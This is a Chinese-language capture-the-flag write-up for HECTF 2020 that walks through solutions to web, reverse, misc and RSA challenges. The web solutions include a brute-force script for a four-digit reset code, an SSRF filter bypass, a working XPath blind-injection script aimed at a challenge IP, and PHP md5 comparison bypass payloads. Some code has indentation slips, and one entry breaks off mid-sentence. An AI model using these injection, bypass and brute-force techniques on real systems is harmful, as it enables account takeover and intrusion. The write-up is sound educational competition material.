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HECTF_2020

web1

打开题目发现要手机号登入,F12查看源码发现有个手机号<-- 15970773575 -->；尝试找回密码,根据hint.php给的
提示发现,验证码是要通过爆破得来,且长度为4位； 
使用脚本生成字典

dz.py:
f=open('zidian.txt','w')
for i in range(9999):
    s=str(i)
    if len(s)==1:
        s="000"+s
    if len(s)==2:
        s="00"+s
    if len(s)==3:
        s="0"+s
    print s
f.write(s+'\n')
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然后通过bp破解一下

得到0233是验证码,修改密码登入得到flag

Ssrf

查看源代码发现过滤了

ip2long('127.0.0.0')>>24==$int_ip>>24||ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $i
nt_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;

尝试使用url=http://loaclhost/flag.php,无果最后使用url=http://0.0.0.0/flag.php成功绕过得到flag

injection

题目名称是注入,但结果sql注入无果,然后发现报错是：Warning: SimpleXMLElement::xpath(): 
然后查看题目描述"X…X…X.Xpath!咚咚咚 是admin么，flag格式为flag{}。"；百度一下发现是xpath注入,因为没有



回显结果,所以尝试盲注

import requests
url='http://114.55.165.246:8082/?'
r=requests.Session()
str_all="qwertyuiopasdfghjklzxcvbnm0123456789_!{}-"
def password():
    result=""
    for i in range(1,40):
        for j in str_all:
        payload="'orsubstring((//user[position()=1]/password),"+str(i)+",1)='"+j+"'or ''='"
          data="username="+payload+"&password=123"
            s=r.get(url+data+"&submit=%E7%99%BB%E5%BD%95")
            #print data+"&submit=%E7%99%BB%E5%BD%95"
            if 'not admin' in s.text:
                result+=j
                print(result)
                break
password()

最后

username=admin
password=339db714647a1d66b85cd08442287841

ezphp

审计源码发现

if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){

这里使用弱类型即可绕过:

param1[]=a&param2[]=s

继续下一步

   $md5_1 = md5($string_1); 
            $md5_2 = md5($string_2); 
            if($md5_1 != $md5_2){ 
                $a = strtr($md5_1, 'cxhp', '0123'); 
                $b = strtr($md5_2, 'cxhp', '0123'); 
if($a == $b){
                echo $flag;
} 

发现md5碰撞,使用0e开头绕过,找到个原题2019NJUPT的easyphp：
https://zhzhdoai.github.io/2019/11/24/WRITEUP-2019NJUPT-web%E9%A2%98%E8%A7%A3/



得到str1=2120624&str2=240610708最终的payload: param1[]=a&param2[]=b&str1=2120624&str2=240610708

[boom]Maybe_is_medium

非预期解，链接nc 121.196.32.184 12003就能获取shell得到flag

easymaze

老套路迷宫题 
还原一下迷宫：

1000011000
1100011100
0100010100
0111110100
0000110100
0000000100
0000000110
0000000010
0000000011
0000000001
0000000000
0000000000
00000000
走一遍就是flag

png



在kali上点开图片显示IHDR：CRC error错误，猜测图片改了宽高；然后传到windows下查看图片，图片是少了一些，托到
Winhex下修改宽高，如下图:

保存图片后能看到一半flag，继续分析图片；用strings 命令查看图片字符串能看到末尾有一串base64，拿去 http://ctf.ssleye.com/
这个网址解密即可得到另外一半flag

不说人话不说人话

打开文件是一串!?.组成的编码，拿去 https://www.splitbrain.org/services/ook 这个网址解密即可得到flag

在这里签到在这里签到

通过https://www.sojson.com/encrypt_rabbit.html进行 rabbit解密 
然后base64 解密；再base32 解密；最后hex 解密得到flag

no blank space

等到赛方给了第二个提示，去网上科普了一下知道了这是博多电码

然后拿去https

rsa

已知 公钥（n, e） 和 密文 c,所以首先将n用yafu分解为q,p； 
脚本解得flag:



import gmpy2
p = 2499568793
q = 456869558274234550713625122921740095996085604669173372298834550342968979993569659351629945851686511032463835
9470761456115925725067558499862591063153473862179550706262380644940013531317571260647226561004191266100720745936
5635506990009391170685592322256442772835419330643318912451697391398867356154355061520703302331078071244108929782
8006399366872692737717798310052927099654700202234162825190578087353148168271382080914709830528939183529720889077
9643623465917824350382592808578978330348769060448006691307027594085634520759293965723855183484366752511654099121
387261343686017189426761536281948007104498017003911
e = 65537
c = 575061710950381118206735073806398116370706587076775765253483131078316908073202143802386128272374323616239083
1347473182544367068067817445019033336047729619279667476489543159622693212971214953980579386171450179994827221976
6106569870783682450502385630640389230794420324556341196130249934760441702406467899900363793318517792288410336220
3639349298263339808508185861692596967147081382566246627668898774233029198694500565511361867375668367875805985660
7051371096651078607992776240502106668669585029480623300373098731489630111924050128119455401535920903456682659644
77204465327474208098404082920129178960510763496025906621820
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(c, d, n))[2:]
if len(h) % 2 == 1:
    h = '0' + h
s = h.decode('hex')
print s

创作打卡挑战赛 
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